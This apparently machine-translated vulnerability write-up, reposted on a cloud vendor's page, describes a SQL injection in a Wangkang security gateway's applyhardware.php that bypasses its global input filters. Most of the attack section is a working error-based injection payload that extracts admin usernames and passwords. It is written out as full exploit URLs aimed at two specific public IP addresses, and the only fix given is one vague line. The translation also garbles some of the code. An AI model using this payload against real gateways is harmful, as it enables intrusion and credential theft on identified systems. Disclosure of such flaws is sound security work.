Wangkang security gateway SQL injection (bypassing global anti-injection)

Source: Internet
Author: User

Wangkang security gateway SQL injection (bypassing global anti-injection)

After the last baptism of wangkang technology, the overall security has been greatly improved (clap your hands ...)
Its global filter function is very abnormal. After the study, we finally found an injection that bypasses abnormal global anti-injection.

 

0x01 let's take a look at the global filter function.

// Function inject_check ($ SQL _str) {return preg_match ("/(select | insert | update | delete | drop | '| \/\ * | \. \. \/| \. \/| UNION | into | load_file | outfile)/I ", $ SQL _str );}



Even more abnormal

function str_check($str){if(strstr($str, ' '))return false;if(strstr($str, "'"))return false;if(strstr($str, '"'))return false;if(strstr($str, '/'))return false;if(strstr($str, '&'))return false;if(strstr($str, ';'))return false;if(strstr($str, '%'))return false;return true;}


It is abnormal to call exit () directly when these symbols and characters are detected.

0x02 The following describes how the injection is generated.

The vulnerability file is

/WebPages/applyhardware. php

Some code

include("include/common.inc");session_start();$para = $_SESSION['parastr'];if(!str_check($action))$action = "";switch ($action){case "":redirect("/vpnweb/index.php?para=$para");break;case "applyhardware":$dbh = db_connect();$hard_user = urldecode($hard_user);$hard_pass = urldecode($hard_pass);if(!str_check($hard_user))$hard_user = "";if(!str_check($hard_pass))$hard_pass = "";$query = "select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'";


The $ hard_user and $ hard_pass parameters are checked by str_check, but the two parameters are obtained after urldecode decoding. The statement that finally enters the SQL query is:

Select UserId from ISCUserTable where UserName = '$ hard_user' and Password = '$ hard_pass'

So I finally thought of combining two parameters to implement injection.

0x03 exploitation of the Injection

Through the analysis of the str_check function, the submitted parameters cannot contain spaces, single quotes, double quotes, diagonal lines, semicolons, and so on. Finally, they have passed numerous tests and the final code is used:

Hard_user = % 255C & hard_pass = % 0a % 0 dand % 0a % 0d1 = (updatexml (1, concat (0x5e24, (select % 0a % 0 dconcat (adminname, 0x7e, passwd) % 0a % 0 dfrom % 0a % 0 dAdmin % 0a % 0 dlimit % 0a % 0d1), 0x5e24), 1) % 2523



Https: // 60.216.87.203 // WebPages/applyhardware. php? Action = applyhardware & hard_user = % 255C & hard_pass = % 0a % 0 dand % 0a % 0d1 = (updatexml (1, concat (0x5e24, (select % 0a % 0 dconcat (adminname, 0x7e, passwd) % 0a % 0 dfrom % 0a % 0 dAdmin % 0a % 0 dlimit % 0a % 0d1), 0x5e24), 1) % 2523

 



https://115.24.177.57/WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523
 

 

Solution:

Inject_check () function Filtering

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.